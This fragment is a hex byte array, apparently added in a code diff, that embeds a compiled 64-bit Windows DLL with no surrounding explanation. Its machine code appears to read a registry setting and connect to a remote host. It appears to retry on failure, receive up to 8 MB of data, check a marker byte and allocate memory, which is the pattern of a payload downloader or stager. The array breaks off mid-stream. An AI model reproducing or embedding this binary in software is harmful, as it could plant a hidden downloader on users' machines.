0x83, 0xfe, 0x90, 0xcc, 0x83, 0xfe, + 0x84, 0xa7, 0x87, 0xff, 0x9b, 0xcc, 0x83, 0xfe, 0x84, 0xa7, 0x80, 0xff, + 0x96, 0xcc, 0x83, 0xfe, 0x84, 0xa7, 0x86, 0xff, 0x17, 0xcc, 0x83, 0xfe, + 0xc2, 0xb9, 0x86, 0xff, 0x8d, 0xcc, 0x83, 0xfe, 0xc2, 0xb9, 0x87, 0xff, + 0x9e, 0xcc, 0x83, 0xfe, 0xc2, 0xb9, 0x80, 0xff, 0x99, 0xcc, 0x83, 0xfe, + 0x84, 0xa7, 0x82, 0xff, 0x99, 0xcc, 0x83, 0xfe, 0x90, 0xcc, 0x82, 0xfe, + 0xfd, 0xcc, 0x83, 0xfe, 0x5f, 0xb9, 0x8b, 0xff, 0x91, 0xcc, 0x83, 0xfe, + 0x5f, 0xb9, 0x83, 0xff, 0x91, 0xcc, 0x83, 0xfe, 0x5f, 0xb9, 0x7c, 0xfe, + 0x91, 0xcc, 0x83, 0xfe, 0x5f, 0xb9, 0x81, 0xff, 0x91, 0xcc, 0x83, 0xfe, + 0x52, 0x69, 0x63, 0x68, 0x90, 0xcc, 0x83, 0xfe, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x07, 0x00, + 0x53, 0xe4, 0x87, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xf0, 0x00, 0x22, 0x20, 0x0b, 0x02, 0x0e, 0x1d, 0x00, 0x0a, 0x01, 0x00, + 0x00, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x1c, 0x00, 0x00, + 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x40, 0x02, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x60, 0x01, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x20, 0xb9, 0x01, 0x00, + 0x44, 0x00, 0x00, 0x00, 0x64, 0xb9, 0x01, 0x00, 0x64, 0x00, 0x00, 0x00, + 0x00, 0x20, 0x02, 0x00, 0xe0, 0x01, 0x00, 0x00, 0x00, 0xf0, 0x01, 0x00, + 0x68, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x30, 0x02, 0x00, 0x60, 0x06, 0x00, 0x00, 0x24, 0xa6, 0x01, 0x00, + 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x60, 0xa6, 0x01, 0x00, 0x38, 0x01, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x01, 0x00, + 0xf8, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x2e, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, + 0x40, 0x09, 0x01, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x0a, 0x01, 0x00, + 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x60, 0x2e, 0x72, 0x64, 0x61, + 0x74, 0x61, 0x00, 0x00, 0xbc, 0xa2, 0x00, 0x00, 0x00, 0x20, 0x01, 0x00, + 0x00, 0xa4, 0x00, 0x00, 0x00, 0x0e, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40, + 0x2e, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0x98, 0x1d, 0x00, 0x00, + 0x00, 0xd0, 0x01, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0xb2, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x00, 0x00, 0xc0, 0x2e, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, + 0x68, 0x10, 0x00, 0x00, 0x00, 0xf0, 0x01, 0x00, 0x00, 0x12, 0x00, 0x00, + 0x00, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40, 0x5f, 0x52, 0x44, 0x41, + 0x54, 0x41, 0x00, 0x00, 0xfc, 0x00, 0x00, 0x00, 0x00, 0x10, 0x02, 0x00, + 0x00, 0x02, 0x00, 0x00, 0x00, 0xd0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40, + 0x2e, 0x72, 0x73, 0x72, 0x63, 0x00, 0x00, 0x00, 0xe0, 0x01, 0x00, 0x00, + 0x00, 0x20, 0x02, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xd2, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x00, 0x00, 0x40, 0x2e, 0x72, 0x65, 0x6c, 0x6f, 0x63, 0x00, 0x00, + 0x60, 0x06, 0x00, 0x00, 0x00, 0x30, 0x02, 0x00, 0x00, 0x08, 0x00, 0x00, + 0x00, 0xd4, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x05, 0x89, 0xdd, 0x01, 0x00, 0xc3, + 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x54, 0x24, + 0x10, 0x4c, 0x89, 0x44, 0x24, 0x18, 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x53, + 0x56, 0x57, 0x48, 0x83, 0xec, 0x30, 0x48, 0x8b, 0xda, 0x48, 0x8d, 0x74, + 0x24, 0x60, 0x48, 0x8b, 0xf9, 0xe8, 0xca, 0xff, 0xff, 0xff, 0x4c, 0x8b, + 0xcb, 0x48, 0x89, 0x74, 0x24, 0x28, 0x48, 0xc7, 0xc3, 0xff, 0xff, 0xff, + 0xff, 0x48, 0xc7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0x4c, 0x8b, + 0xc3, 0x48, 0x8b, 0xd7, 0x48, 0x8b, 0x08, 0x48, 0x83, 0xc9, 0x01, 0xe8, + 0xc0, 0x3f, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x48, 0xc3, 0x48, 0x83, 0xc4, + 0x30, 0x5f, 0x5e, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x56, 0x48, 0x83, + 0xec, 0x50, 0x48, 0x8b, 0x05, 0x8b, 0xbf, 0x01, 0x00, 0x48, 0x33, 0xc4, + 0x48, 0x89, 0x44, 0x24, 0x48, 0x48, 0x8b, 0xf2, 0x48, 0xc7, 0x44, 0x24, + 0x38, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x44, 0x24, 0x38, 0x41, 0xb9, + 0x19, 0x00, 0x02, 0x00, 0x48, 0x8d, 0x15, 0xe5, 0x94, 0x01, 0x00, 0x48, + 0x89, 0x44, 0x24, 0x20, 0x45, 0x33, 0xc0, 0x48, 0xc7, 0xc1, 0x01, 0x00, + 0x00, 0x80, 0xff, 0x15, 0x50, 0x0f, 0x01, 0x00, 0x85, 0xc0, 0x74, 0x15, + 0x33, 0xc0, 0x48, 0x8b, 0x4c, 0x24, 0x48, 0x48, 0x33, 0xcc, 0xe8, 0xb5, + 0x08, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x50, 0x5e, 0xc3, 0x48, 0x89, 0x5c, + 0x24, 0x60, 0x48, 0x89, 0x7c, 0x24, 0x70, 0xbf, 0x00, 0x04, 0x00, 0x00, + 0xc7, 0x44, 0x24, 0x40, 0x00, 0x00, 0x00, 0x00, 0x89, 0x7c, 0x24, 0x30, + 0x8d, 0x4f, 0x01, 0xe8, 0x60, 0x43, 0x00, 0x00, 0x48, 0x8b, 0xd8, 0x48, + 0x85, 0xc0, 0x74, 0x4b, 0x48, 0x8b, 0x4c, 0x24, 0x38, 0x48, 0x8d, 0x44, + 0x24, 0x30, 0x48, 0x89, 0x44, 0x24, 0x28, 0x4c, 0x8d, 0x4c, 0x24, 0x40, + 0x45, 0x33, 0xc0, 0x48, 0x89, 0x5c, 0x24, 0x20, 0x48, 0x8b, 0xd6, 0xff, + 0x15, 0xdf, 0x0e, 0x01, 0x00, 0x39, 0x7c, 0x24, 0x30, 0x0f, 0x42, 0x7c, + 0x24, 0x30, 0xc6, 0x04, 0x1f, 0x00, 0x85, 0xc0, 0x75, 0x0b, 0x8b, 0x44, + 0x24, 0x40, 0xff, 0xc8, 0x83, 0xf8, 0x01, 0x76, 0x0a, 0x48, 0x8b, 0xcb, + 0xe8, 0x53, 0x3f, 0x00, 0x00, 0x33, 0xdb, 0x48, 0x8b, 0x4c, 0x24, 0x38, + 0xff, 0x15, 0xbe, 0x0e, 0x01, 0x00, 0x48, 0x8b, 0x7c, 0x24, 0x70, 0x48, + 0x8b, 0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x4c, 0x24, 0x48, + 0x48, 0x33, 0xcc, 0xe8, 0x14, 0x08, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x50, + 0x5e, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, + 0xcc, 0xcc, 0xcc, 0xcc, 0x40, 0x55, 0x53, 0x41, 0x55, 0x48, 0x8d, 0xac, + 0x24, 0xf0, 0xfd, 0xff, 0xff, 0x48, 0x81, 0xec, 0x10, 0x03, 0x00, 0x00, + 0x48, 0x8b, 0x05, 0x6d, 0xbe, 0x01, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, + 0x85, 0xe0, 0x01, 0x00, 0x00, 0x49, 0x8b, 0xc0, 0x44, 0x8b, 0xea, 0x48, + 0x89, 0x44, 0x24, 0x40, 0x48, 0x8b, 0xd9, 0x48, 0x85, 0xc9, 0x0f, 0x84, + 0x0d, 0x05, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x04, 0x05, 0x00, + 0x00, 0xb9, 0x02, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x55, 0xa0, 0xff, 0x15, + 0xb4, 0x10, 0x01, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0xed, 0x04, 0x00, 0x00, + 0x0f, 0x57, 0xc0, 0x48, 0x89, 0xb4, 0x24, 0x30, 0x03, 0x00, 0x00, 0x33, + 0xc0, 0x48, 0x89, 0xbc, 0x24, 0x08, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x8d, + 0x70, 0x01, 0x00, 0x00, 0x4c, 0x89, 0xb4, 0x24, 0xf8, 0x02, 0x00, 0x00, + 0x0f, 0x11, 0x85, 0x70, 0x01, 0x00, 0x00, 0x89, 0x85, 0xd0, 0x01, 0x00, + 0x00, 0x48, 0x2b, 0xcb, 0x0f, 0x11, 0x85, 0x80, 0x01, 0x00, 0x00, 0x0f, + 0x11, 0x85, 0x90, 0x01, 0x00, 0x00, 0x0f, 0x11, 0x85, 0xa0, 0x01, 0x00, + 0x00, 0x0f, 0x11, 0x85, 0xb0, 0x01, 0x00, 0x00, 0x0f, 0x11, 0x85, 0xc0, + 0x01, 0x00, 0x00, 0x0f, 0x1f, 0x40, 0x00, 0x66, 0x0f, 0x1f, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x0f, 0xb6, 0x03, 0x88, 0x04, 0x19, 0x48, 0x8d, + 0x5b, 0x01, 0x84, 0xc0, 0x75, 0xf2, 0x48, 0x8d, 0x15, 0x4f, 0x93, 0x01, + 0x00, 0xe8, 0x16, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x15, 0x4b, 0x93, 0x01, + 0x00, 0x48, 0x8b, 0xd8, 0xe8, 0x07, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x15, + 0x48, 0x93, 0x01, 0x00, 0x48, 0x8b, 0xf8, 0xe8, 0xf8, 0xfd, 0xff, 0xff, + 0x33, 0xc9, 0x48, 0x8b, 0xf0, 0xe8, 0xa6, 0x3d, 0x00, 0x00, 0x4c, 0x8b, + 0xf0, 0x48, 0x85, 0xf6, 0x74, 0x0a, 0x48, 0x8b, 0xce, 0xe8, 0x96, 0x41, + 0x00, 0x00, 0xeb, 0x02, 0x33, 0xc0, 0x44, 0x3b, 0xf0, 0x7f, 0x3e, 0x48, + 0x85, 0xdb, 0x74, 0x39, 0x80, 0x3b, 0x00, 0x74, 0x34, 0x48, 0x85, 0xff, + 0x74, 0x2f, 0x80, 0x3f, 0x00, 0x74, 0x2a, 0x48, 0x8d, 0x95, 0x70, 0x01, + 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x48, 0x2b, 0xd3, 0x0f, 0x1f, 0x40, 0x00, + 0x0f, 0xb6, 0x01, 0x88, 0x04, 0x0a, 0x48, 0x8d, 0x49, 0x01, 0x84, 0xc0, + 0x75, 0xf2, 0x48, 0x8b, 0xcf, 0xe8, 0x52, 0x41, 0x00, 0x00, 0x44, 0x8b, + 0xe8, 0x48, 0x8b, 0xcb, 0xe8, 0xb7, 0x3d, 0x00, 0x00, 0x48, 0x8b, 0xcf, + 0xe8, 0xaf, 0x3d, 0x00, 0x00, 0x48, 0x8b, 0xce, 0xe8, 0xa7, 0x3d, 0x00, + 0x00, 0x0f, 0x57, 0xc0, 0x4c, 0x8d, 0x44, 0x24, 0x5c, 0x33, 0xc0, 0x48, + 0x8d, 0x95, 0x70, 0x01, 0x00, 0x00, 0xbe, 0x02, 0x00, 0x00, 0x00, 0x89, + 0x85, 0x50, 0x01, 0x00, 0x00, 0x8b, 0xce, 0x66, 0x89, 0x85, 0x54, 0x01, + 0x00, 0x00, 0x0f, 0x11, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0f, 0x11, 0x44, + 0x24, 0x58, 0xff, 0x15, 0x80, 0x0f, 0x01, 0x00, 0x83, 0xf8, 0x01, 0x75, + 0x25, 0x44, 0x8d, 0x46, 0x13, 0x48, 0x8d, 0x95, 0x70, 0x01, 0x00, 0x00, + 0x48, 0x8d, 0x8d, 0x40, 0x01, 0x00, 0x00, 0xe8, 0x8c, 0x26, 0x00, 0x00, + 0x33, 0xdb, 0xc6, 0x85, 0x55, 0x01, 0x00, 0x00, 0x00, 0xe9, 0x95, 0x00, + 0x00, 0x00, 0x33, 0xdb, 0x89, 0x74, 0x24, 0x6c, 0x0f, 0x57, 0xc0, 0x89, + 0x5c, 0x24, 0x68, 0x0f, 0x57, 0xc9, 0x48, 0x89, 0x5c, 0x24, 0x48, 0x4c, + 0x8d, 0x4c, 0x24, 0x48, 0xc7, 0x44, 0x24, 0x70, 0x01, 0x00, 0x00, 0x00, + 0x4c, 0x8d, 0x44, 0x24, 0x68, 0xc7, 0x44, 0x24, 0x74, 0x06, 0x00, 0x00, + 0x00, 0x33, 0xd2, 0x48, 0x8d, 0x8d, 0x70, 0x01, 0x00, 0x00, 0xf3, 0x0f, + 0x7f, 0x44, 0x24, 0x78, 0xf3, 0x0f, 0x7f, 0x4d, 0x88, 0xff, 0x15, 0xe5, + 0x0e, 0x01, 0x00, 0x85, 0xc0, 0x75, 0x35, 0x48, 0x8b, 0x54, 0x24, 0x48, + 0x48, 0x85, 0xd2, 0x74, 0x2b, 0x48, 0x8b, 0x52, 0x20, 0x44, 0x8d, 0x4b, + 0x16, 0x48, 0x83, 0xc2, 0x04, 0x4c, 0x8d, 0x85, 0x40, 0x01, 0x00, 0x00, + 0x8b, 0xce, 0xff, 0x15, 0xf4, 0x0e, 0x01, 0x00, 0x48, 0x8b, 0x4c, 0x24, + 0x48, 0x48, 0x85, 0xc0, 0x75, 0x13, 0xff, 0x15, 0xf4, 0x0e, 0x01, 0x00, + 0xff, 0x15, 0xfe, 0x0e, 0x01, 0x00, 0x33, 0xc0, 0xe9, 0x9a, 0x02, 0x00, + 0x00, 0xff, 0x15, 0xe1, 0x0e, 0x01, 0x00, 0x4c, 0x89, 0xa4, 0x24, 0x00, + 0x03, 0x00, 0x00, 0x33, 0xc9, 0x4c, 0x89, 0xbc, 0x24, 0xf0, 0x02, 0x00, + 0x00, 0xe8, 0x2a, 0x3c, 0x00, 0x00, 0x48, 0x8b, 0xc8, 0xe8, 0x9e, 0x25, + 0x00, 0x00, 0x48, 0x8b, 0xfb, 0x41, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x44, + 0x8b, 0xf3, 0x44, 0x8b, 0xfb, 0xeb, 0x0e, 0x66, 0x0f, 0x1f, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xbe, 0x02, 0x00, 0x00, 0x00, 0x45, 0x85, 0xe4, + 0x75, 0x30, 0xe8, 0x49, 0x25, 0x00, 0x00, 0x44, 0x8b, 0xc0, 0xb8, 0x89, + 0x88, 0x88, 0x88, 0x41, 0xf7, 0xe8, 0x41, 0x03, 0xd0, 0xc1, 0xfa, 0x06, + 0x8b, 0xca, 0xc1, 0xe9, 0x1f, 0x03, 0xd1, 0x6b, 0xca, 0x78, 0x44, 0x2b, + 0xc1, 0x41, 0x69, 0xc8, 0xe8, 0x03, 0x00, 0x00, 0xff, 0x15, 0xf6, 0x0b, + 0x01, 0x00, 0x41, 0xff, 0xc6, 0x89, 0x5c, 0x24, 0x48, 0x44, 0x8b, 0xe3, + 0x41, 0x83, 0xfe, 0x14, 0x75, 0x1e, 0x48, 0x8b, 0x0d, 0x6b, 0xc6, 0x01, + 0x00, 0xba, 0xce, 0x0f, 0x00, 0x00, 0x41, 0xb9, 0xd6, 0x4d, 0xf0, 0x61, + 0x41, 0xb8, 0xe3, 0x4e, 0xa7, 0x37, 0xff, 0x15, 0xe8, 0x0d, 0x01, 0x00, + 0xba, 0x01, 0x00, 0x00, 0x00, 0x8b, 0xce, 0x44, 0x8d, 0x42, 0x05, 0xff, + 0x15, 0x07, 0x0e, 0x01, 0x00, 0x48, 0x8b, 0xf0, 0x48, 0x83, 0xf8, 0xff, + 0x0f, 0x84, 0x7a, 0xff, 0xff, 0xff, 0x4c, 0x8d, 0x4c, 0x24, 0x50, 0xc7, + 0x44, 0x24, 0x50, 0x30, 0x75, 0x00, 0x00, 0xba, 0xff, 0xff, 0x00, 0x00, + 0xc7, 0x44, 0x24, 0x20, 0x04, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x06, 0x10, + 0x00, 0x00, 0x48, 0x8b, 0xc8, 0xff, 0x15, 0x01, 0x0e, 0x01, 0x00, 0xb8, + 0x02, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5c, 0x24, 0x60, 0x41, 0x0f, 0xb7, + 0xcd, 0x66, 0x89, 0x44, 0x24, 0x58, 0xff, 0x15, 0xd8, 0x0d, 0x01, 0x00, + 0x48, 0x8d, 0x8d, 0x40, 0x01, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x5a, + 0xff, 0x15, 0x96, 0x0d, 0x01, 0x00, 0x41, 0xb8, 0x10, 0x00, 0x00, 0x00, + 0x48, 0x8d, 0x54, 0x24, 0x58, 0x48, 0x8b, 0xce, 0x89, 0x44, 0x24, 0x5c, + 0xff, 0x15, 0xd6, 0x0d, 0x01, 0x00, 0x48, 0x8b, 0xce, 0x83, 0xf8, 0xff, + 0x75, 0x16, 0xff, 0x15, 0xc0, 0x0d, 0x01, 0x00, 0xb9, 0x01, 0x00, 0x00, + 0x80, 0xff, 0x15, 0x05, 0x0b, 0x01, 0x00, 0xe9, 0xf0, 0xfe, 0xff, 0xff, + 0x8b, 0x05, 0x4a, 0x90, 0x01, 0x00, 0x48, 0x8d, 0x95, 0x58, 0x01, 0x00, + 0x00, 0x89, 0x44, 0x24, 0x30, 0x45, 0x33, 0xc9, 0x0f, 0xb7, 0x05, 0x39, + 0x90, 0x01, 0x00, 0x66, 0x89, 0x44, 0x24, 0x34, 0x66, 0x89, 0x5c, 0x24, + 0x36, 0xc7, 0x44, 0x24, 0x3c, 0x04, 0x00, 0x00, 0x00, 0x45, 0x8d, 0x41, + 0x14, 0xc7, 0x44, 0x24, 0x38, 0x14, 0x00, 0x00, 0x00, 0x0f, 0x10, 0x44, + 0x24, 0x30, 0xc7, 0x85, 0x68, 0x01, 0x00, 0x00, 0xd2, 0x01, 0x00, 0x01, + 0x0f, 0x11, 0x85, 0x58, 0x01, 0x00, 0x00, 0xff, 0x15, 0x13, 0x0d, 0x01, + 0x00, 0x83, 0xf8, 0x14, 0x74, 0x0e, 0x48, 0x8b, 0xce, 0xff, 0x15, 0x4d, + 0x0d, 0x01, 0x00, 0xe9, 0x88, 0xfe, 0xff, 0xff, 0x48, 0x85, 0xff, 0x75, + 0x12, 0xb9, 0x00, 0x00, 0x80, 0x00, 0xe8, 0xad, 0x3e, 0x00, 0x00, 0x48, + 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x74, 0x74, 0x41, 0x83, 0xff, 0x03, 0x0f, + 0x8d, 0xf5, 0x00, 0x00, 0x00, 0x41, 0xff, 0xc7, 0x33, 0xc9, 0xe8, 0x65, + 0x3a, 0x00, 0x00, 0x41, 0xbc, 0x00, 0x40, 0x00, 0x00, 0x0f, 0x1f, 0x80, + 0x00, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x80, 0x00, 0x48, 0x63, + 0xd3, 0x44, 0x2b, 0xc3, 0x48, 0x8b, 0xce, 0x45, 0x3b, 0xc4, 0x45, 0x0f, + 0x4f, 0xc4, 0x48, 0x03, 0xd7, 0x45, 0x33, 0xc9, 0xff, 0x15, 0xbe, 0x0c, + 0x01, 0x00, 0x85, 0xc0, 0x7e, 0x14, 0x03, 0xd8, 0x83, 0xfb, 0x10, 0x72, + 0x05, 0x3b, 0x5f, 0x08, 0x7d, 0x08, 0x81, 0xfb, 0x00, 0x00, 0x80, 0x00, + 0x7c, 0xc6, 0x8b, 0x47, 0x08, 0x44, 0x8b, 0x64, 0x24, 0x48, 0x3b, 0xd8, + 0x75, 0x0d, 0x83, 0x7f, 0x0c, 0x06, 0x7e, 0x07, 0x3d, 0x00, 0x00, 0x80, + 0x00, 0x7e, 0x10, 0x48, 0x8b, 0xce, 0xff, 0x15, 0xb4, 0x0c, 0x01, 0x00, + 0x33, 0xdb, 0xe9, 0xed, 0xfd, 0xff, 0xff, 0x0f, 0xb6, 0x47, 0x10, 0x4c, + 0x8b, 0x44, 0x24, 0x40, 0x0f, 0xb6, 0x57, 0x11, 0x8b, 0x4f, 0x12, 0x41, + 0x89, 0x08, 0x3c, 0xd3, 0x75, 0x64, 0x80, 0xfa, 0x01, 0x77, 0x5f, 0x8d, + 0x41, 0xbf, 0x3d, 0xbf, 0xff, 0x7f, 0x00, 0x77, 0x55, 0x48, 0x8b, 0xce, + 0xff, 0x15, 0x7e, 0x0c, 0x01, 0x00, 0xff, 0x15, 0x70, 0x0c, 0x01, 0x00, + 0x48, 0x8b, 0xc7, 0x4c, 0x8b, 0xa4, 0x24, 0x00, 0x03, 0x00, 0x00, 0x4c, + 0x8b, 0xbc, 0x24, 0xf0, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xbc, 0x24, 0x08, + 0x03, 0x00, 0x00, 0x48, 0x8b, 0xb4, 0x24, 0x30, 0x03, 0x00, 0x00, 0x4c, + 0x8b, 0xb4, 0x24, 0xf8, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x8d, 0xe0, 0x01, + 0x00, 0x00, 0x48, 0x33, 0xcc, 0xe8, 0xde, 0x02, 0x00, 0x00, 0x48, 0x81, + 0xc4, 0x10, 0x03, 0x00, 0x00, 0x41, 0x5d, 0x5b, 0x5d, 0xc3, 0x48, 0x8b, + 0xce, 0xff, 0x15, 0x29, 0x0c, 0x01, 0x00, 0x48, 0x8b, 0xcf, 0xe8, 0xd9, + 0x39, 0x00, 0x00, 0xff, 0x15, 0x13, 0x0c, 0x01, 0x00, 0x33, 0xc0, 0xeb, + 0xa2, 0x33, 0xc0, 0xeb, 0xc6, 0xcc, 0xcc, 0xcc, 0x40, 0x55, 0x41, 0x55, + 0x48, 0x81, 0xec, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x05, 0x26, 0xb9, + 0x01, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, 0x44, 0x24, 0x70, 0x0f, 0x57, + 0xc0, 0x4c, 0x8b, 0xe9, 0x0f, 0x11, 0x44, 0x24, 0x30, 0x0f, 0x11, 0x44, + 0x24, 0x40, 0x0f, 0x11, 0x44, 0x24, 0x50, 0x0f, 0x11, 0x44, 0x24, 0x60, + 0xff, 0x15, 0x1e, 0x09, 0x01, 0x00, 0x44, 0x8b, 0xc0, 0x48, 0x8d, 0x15, + 0xb4, 0x8e, 0x01, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0xe8, 0xf2, 0xf8, + 0xff, 0xff, 0x45, 0x33, 0xc0, 0x4c, 0x8d, 0x4c, 0x24, 0x30, 0x33, 0xc9, + 0x41, 0x8d, 0x50, 0x01, 0xff, 0x15, 0x2e, 0x09, 0x01, 0x00, 0x41, 0x8b, + 0x55, 0x64, 0x4c, 0x8d, 0x44, 0x24, 0x20, 0x49, 0x8b, 0xcd, 0xc7, 0x44, + 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0xe8, 0x35, 0xfa, 0xff, 0xff, 0x48, + 0x8b, 0xe8, 0x48, 0x85, 0xc0, 0x75, 0x0a, 0xb8, 0xff, 0xff, 0xff, 0xff, + 0xe9, 0x39, 0x01, 0x00, 0x00, 0x48, 0x89, 0xbc, 0x24, 0x90, 0x00, 0x00, + 0x00, 0x41, 0xb9, 0x04, 0x00, 0x00, 0x00, 0x48, 0x63, 0x7c, 0x24, 0x20, + 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x4c, 0x89, 0xb4, 0x24, 0x88, 0x00, + 0x00, 0x00, 